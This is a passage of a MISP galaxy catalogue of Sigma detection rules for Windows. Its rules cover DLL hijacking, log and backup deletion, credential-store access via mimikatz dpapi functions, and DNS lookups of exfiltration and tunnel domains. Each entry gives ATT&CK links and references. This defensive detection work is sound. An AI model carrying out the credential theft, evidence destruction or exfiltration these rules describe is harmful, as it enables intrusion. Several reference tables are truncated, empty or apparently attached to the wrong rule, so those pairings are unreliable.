### Table 9377. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_created.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_created.yml</a></td>
</tr>
</tbody>
</table>

### Suspicious File Event With Teams Objects

Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.

The tag is: misp-galaxy:sigma-rules="Suspicious File Event With Teams Objects"

View relationships graph

Suspicious File Event With Teams Objects has relationships with:


### Table 9378. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens">https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_teams.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_teams.yml</a></td>
</tr>
</tbody>
</table>

### Writing Local Admin Share

Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks.

The tag is: misp-galaxy:sigma-rules="Writing Local Admin Share"

View relationships graph

Writing Local Admin Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-
QuarksPwDump Dump File

Detects a dump file written by QuarksPwDump password dumper

The tag is: misp-galaxy:sigma-rules="QuarksPwDump Dump File"

CrackMapExec File Creation Patterns

Detects suspicious file creation patterns found in logs when CrackMapExec is used

The tag is: misp-galaxy:sigma-rules="CrackMapExec File Creation Patterns"
Powerup Write Hijack DLL

Powerup tool’s Write Hijack DLL exploits DLL hijacking for privilege escalation. In its default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).

The tag is: `misp-galaxy:sigma-rules="Powerup Write Hijack DLL"`

View relationships graph

Powerup Write Hijack DLL has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9382. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/">https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/</a></td>
</tr>
</tbody>
</table>

Creation Of Non-Existent System DLL

Detects the creation of system dlls that are not present on the system. Usually to achieve dll hijacking

The tag is: `misp-galaxy:sigma-rules="Creation Of Non-Existent System DLL"`

View relationships graph

Creation Of Non-Existent System DLL has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"


Table 9383. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/">https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Wh04m1001/SysmonEoP">https://github.com/Wh04m1001/SysmonEoP</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992">https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992</a></td>
</tr>
</tbody>
</table>
**Wmiprvse Wbemcomn DLL Hijack - File**

Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.

The tag is: `misp-galaxy:sigma-rules="Wmiprvse Wbemcomn DLL Hijack - File"`

**View relationships graph**

Wmiprvse Wbemcomn DLL Hijack - File has relationships with:


*Table 9384. Table References*

**Links**

- [https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml)

**PowerShell Module File Created By Non-PowerShell Process**

Detects the creation of a new PowerShell module `.psm1`, `.psd1`, `.dll`, `.ps1`, etc. by a non-PowerShell process

The tag is: `misp-galaxy:sigma-rules="PowerShell Module File Created By Non-PowerShell Process"

*Table 9385. Table References*

**Links**

- [Internal Research](#)
Windows Terminal Profile Settings Modification By Uncommon Process

Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process.

The tag is: misp-galaxy: sigma-rules="Windows Terminal Profile Settings Modification By Uncommon Process"

View relationships graph

Windows Terminal Profile Settings Modification By Uncommon Process has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"

**Table 9386. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1550836225652686848">https://twitter.com/nas_bench/status/1550836225652686848</a></td>
</tr>
</tbody>
</table>

DLL Search Order Hijackig Via Additional Space in Path

Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack

The tag is: misp-galaxy: sigma-rules="DLL Search Order Hijackig Via Additional Space in Path"

View relationships graph

DLL Search Order Hijackig Via Additional Space in Path has relationships with:


**Table 9387. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Suspicous Scheduled Task Write to System32 Tasks

Detects the creation of tasks from processes executed from suspicious locations

The tag is: misp-galaxy:sigma-rules="Suspicious Scheduled Task Write to System32 Tasks"

View relationships graph

Suspicous Scheduled Task Write to System32 Tasks has relationships with:


Table 9388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml</a></td>
</tr>
</tbody>
</table>

Suspicous Appended Extension

Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc.

The tag is: misp-galaxy:sigma-rules="Suspicious Appended Extension"

View relationships graph

Suspicous Appended Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 9389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/">https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/">https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/</a></td>
</tr>
</tbody>
</table>
IIS WebServer Access Logs Deleted

Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy: sigma-rules=*"IIS WebServer Access Logs Deleted"

View relationships graph

IIS WebServer Access Logs Deleted has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 9390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TeamViewer Log File Deleted

Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence

The tag is: *misp-galaxy: sigma-rules=*"TeamViewer Log File Deleted"

View relationships graph

TeamViewer Log File Deleted has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 9391. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md</a></td>
</tr>
</tbody>
</table>

Potential PrintNightmare Exploitation Attempt

Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675

The tag is: *misp-galaxy: sigma-rules=*"Potential PrintNightmare Exploitation Attempt"
Potential PrintNightmare Exploitation Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

Exchange PowerShell Cmdlet History Deleted

Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence

The tag is: misp-galaxy:sigma-rules="Exchange PowerShell Cmdlet History Deleted"

Backup Files Deleted

Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.

The tag is: misp-galaxy:sigma-rules="Backup Files Deleted"
EventLog EVTX File Deleted

Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence.

The tag is: `misp-galaxy:sigma-rules="EventLog EVTX File Deleted"`

View relationships graph

EventLog EVTX File Deleted has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070"` with estimative
  language:likelihood-probability="almost-certain"

File Deleted Via Sysinternals SDelete

Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.

The tag is: `misp-galaxy:sigma-rules="File Deleted Via Sysinternals SDelete"`

View relationships graph

File Deleted Via Sysinternals SDelete has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative
  language:likelihood-probability="almost-certain"
Tomcat WebServer Logs Deleted

Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence

The tag is: `misp-galaxy: sigma-rules="Tomcat WebServer Logs Deleted"`

View relationships graph

Tomcat WebServer Logs Deleted has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 9397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[Internal Research][Internal Research]</td>
</tr>
</tbody>
</table>

Prefetch File Deleted

Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence

The tag is: `misp-galaxy: sigma-rules="Prefetch File Deleted"`

View relationships graph

Prefetch File Deleted has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 9398. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
PowerShell Console History Logs Deleted

Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence.

The tag is: misp-galaxy:sigma-rules="PowerShell Console History Logs Deleted"

View relationships graph

PowerShell Console History Logs Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 9399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>

ADS Zone.Identifier Deleted By Uncommon Application

Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.

The tag is: misp-galaxy:sigma-rules="ADS Zone.Identifier Deleted By Uncommon Application"

View relationships graph

ADS Zone.Identifier Deleted By Uncommon Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 9400. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>
Unusual File Deletion by Dns.exe

Detects an unexpected file being deleted by dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

The tag is: misp-galaxy:sigma-rules="Unusual File Deletion by Dns.exe"

View relationships graph

Unusual File Deletion by Dns.exe has relationships with:


Table 9401. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Access To Browser Credential Files By Uncommon Application

Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage

The tag is: misp-galaxy:sigma-rules="Access To Browser Credential Files By Uncommon Application"

View relationships graph

Access To Browser Credential Files By Uncommon Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 9402. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/lclevy/firepwd">https://github.com/lclevy/firepwd</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_access.yml</a></td>
</tr>
</tbody>
</table>
Access To Windows DPAPI Master Keys By Uncommon Application

Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function

The tag is: misp-galaxy:sigma-rules="Access To Windows DPAPI Master Keys By Uncommon Application"

View relationships graph

Access To Windows DPAPI Master Keys By Uncommon Application has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 9403. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/">http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml</a></td>
</tr>
</tbody>
</table>

Credential Manager Access By Uncommon Application

Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function

The tag is: misp-galaxy:sigma-rules="Credential Manager Access By Uncommon Application"

View relationships graph

Credential Manager Access By Uncommon Application has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 9404. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz">https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz</a></td>
</tr>
</tbody>
</table>
Access To Windows Credential History File By Uncommon Application

Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function

The tag is: misp-galaxy:sigma-rules="Access To Windows Credential History File By Uncommon Application"

Access To Windows Credential History File By Uncommon Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 9405. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.passcape.com/windows_password_recovery_dpapi_credhist">https://www.passcape.com/windows_password_recovery_dpapi_credhist</a></td>
</tr>
<tr>
<td><a href="https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist">https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml</a></td>
</tr>
</tbody>
</table>

Access To .Reg/.Hive Files By Uncommon Application

Detects file access requests to files ending with either the ".hive"/".reg" extension, usually associated with Windows Registry backups.

The tag is: misp-galaxy:sigma-rules="Access To .Reg/.Hive Files By Uncommon Application"

Access To .Reg/.Hive Files By Uncommon Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 9406. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/tccontre/Reg-Restore-Persistence-Mole">https://github.com/tccontre/Reg-Restore-Persistence-Mole</a></td>
</tr>
</tbody>
</table>
Unusual File Modification by dns.exe

Detects an unexpected file being modified by dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

The tag is: *misp-galaxy:sigma-rules="Unusual File Modification by dns.exe"

View relationships graph

Unusual File Modification by dns.exe has relationships with:

• related-to: *misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"* with estimative-language:likelihood-probability="almost-certain"

Table 9407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml</a></td>
</tr>
</tbody>
</table>

File Creation Date Changed to Another Year

Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.

The tag is: *misp-galaxy:sigma-rules="File Creation Date Changed to Another Year"

View relationships graph

File Creation Date Changed to Another Year has relationships with:

• related-to: *misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"* with estimative-language:likelihood-probability="almost-certain"

Table 9408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml</a></td>
</tr>
</tbody>
</table>
DNS Query To Remote Access Software Domain From Non-Browser App

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="DNS Query To Remote Access Software Domain From Non-Browser App"

View relationships graph

DNS Query To Remote Access Software Domain From Non-Browser App has relationships with:


Table 9409. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/misbehaving-rats/">https://redcanary.com/blog/misbehaving-rats/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfaf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfaf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfaf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfaf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfaf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfaf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains_non_browsers.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains_non_browsers.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

DNS HybridConnectionManager Service Bus

Detects Azure Hybrid Connection Manager services querying the Azure service bus service

The tag is: misp-galaxy:sigma-rules="DNS HybridConnectionManager Service Bus"

View relationships graph
DNS HybridConnectionManager Service Bus has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

Table 9410. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Cyb3rWard0g/status/1381642789369286662">https://twitter.com/Cyb3rWard0g/status/1381642789369286662</a></td>
</tr>
</tbody>
</table>

Suspicious DNS Query for IP Lookup Service APIs

Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.

The tag is: misp-galaxy:sigma-rules="Suspicious DNS Query for IP Lookup Service APIs"

View relationships graph

Suspicious DNS Query for IP Lookup Service APIs has relationships with:


Table 9411. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/neonprimetime/status/1436376497980428318">https://twitter.com/neonprimetime/status/1436376497980428318</a></td>
</tr>
<tr>
<td><a href="https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon">https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon</a></td>
</tr>
</tbody>
</table>

DNS Query To Visual Studio Code Tunnels Domain

Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: misp-galaxy:sigma-rules="DNS Query To Visual Studio Code Tunnels Domain"

View relationships graph

DNS Query To Visual Studio Code Tunnels Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
Table 9412. Table References

Links

https://badoption.eu/blog/2023/01/31/code_c2.html
https://cydefops.com/vscode-data-exfiltration
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_vscode_tunnel_communication.yml

DNS Query for Anonfiles.com Domain - Sysmon

Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes.

The tag is: misp-galaxy:sigma-rules="DNS Query for Anonfiles.com Domain - Sysmon"

View relationships graph

DNS Query for Anonfiles.com Domain - Sysmon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 9413. Table References

Links


DNS Server Discovery Via LDAP Query

Detects DNS server discovery via LDAP query requests from uncommon applications.

The tag is: misp-galaxy:sigma-rules="DNS Server Discovery Via LDAP Query"

View relationships graph

DNS Server Discovery Via LDAP Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 9414. Table References

Links
TeamViewer Domain Query By Non-TeamViewer Application

Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn’t named TeamViewer (sometimes used by threat actors for obfuscation)

The tag is: misp-galaxy:sigma-rules="TeamViewer Domain Query By Non-TeamViewer Application"

View relationships graph

TeamViewer Domain Query By Non-TeamViewer Application has relationships with:


Table 9415. Table References

Links

https://www.teamviewer.com/en-us/

DNS Query To MEGA Hosting Website

Detects DNS queries for subdomains related to MEGA sharing website

The tag is: misp-galaxy:sigma-rules="DNS Query To MEGA Hosting Website"

View relationships graph

DNS Query To MEGA Hosting Website has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 9416. Table References

Links

https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
DNS Query To Ufile.io

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

The tag is: `misp-galaxy:sigma-rules="DNS Query To Ufile.io"`

View relationships graph

DNS Query To Ufile.io has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with `estimative-language:likelihood-probability="almost-certain"`

Table 9417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2021/12/13/diavol-ransomware/">https://thedfirreport.com/2021/12/13/diavol-ransomware/</a></td>
</tr>
</tbody>
</table>

Suspicious Cobalt Strike DNS Beaconing - Sysmon

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

The tag is: `misp-galaxy:sigma-rules="Suspicious Cobalt Strike DNS Beaconing - Sysmon"`

View relationships graph

Suspicious Cobalt Strike DNS Beaconing - Sysmon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with `estimative-language:likelihood-probability="almost-certain"`

Table 9418. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns">https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns</a></td>
</tr>
</tbody>
</table>
AppX Package Installation Attempts Via AppInstaller.EXE

Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URL. It attempts to load/install a package from the referenced URL.

The tag is: `misp-galaxy:sigma-rules="AppX Package Installation Attempts Via AppInstaller.EXE"`

View relationships graph

AppX Package Installation Attempts Via AppInstaller.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9419. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/notwhickey/status/1333900137232523264">https://twitter.com/notwhickey/status/1333900137232523264</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/">https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/</a></td>
</tr>
</tbody>
</table>

DNS Query Request By Regsvr32.EXE

Detects DNS queries initiated by "Regsvr32.exe"

The tag is: `misp-galaxy:sigma-rules="DNS Query Request By Regsvr32.EXE"`

View relationships graph

DNS Query Request By Regsvr32.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"

Table 9420. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/">https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/</a></td>
</tr>
<tr>
<td><a href="https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/">https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/</a></td>
</tr>
</tbody>
</table>
DNS Query Tor .Onion Address - Sysmon

Detects DNS queries to an ".#onion" address related to Tor routing networks

The tag is: `misp-galaxy:sigma-rules="DNS Query Tor .Onion Address - Sysmon"`

View relationships graph

DNS Query Tor .Onion Address - Sysmon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DNS Query To Devtunnels Domain

Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: `misp-galaxy:sigma-rules="DNS Query To Devtunnels Domain"`

View relationships graph

DNS Query To Devtunnels Domain has relationships with:


Table 9422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2">https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2</a></td>
</tr>
<tr>
<td><a href="https://cydefops.com/devtunnels-unleashed">https://cydefops.com/devtunnels-unleashed</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml</a></td>
</tr>
</tbody>
</table>

New DLL Registered Via Odbcconf.EXE

Detects execution of "odbcconf" with "REGSVR" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.
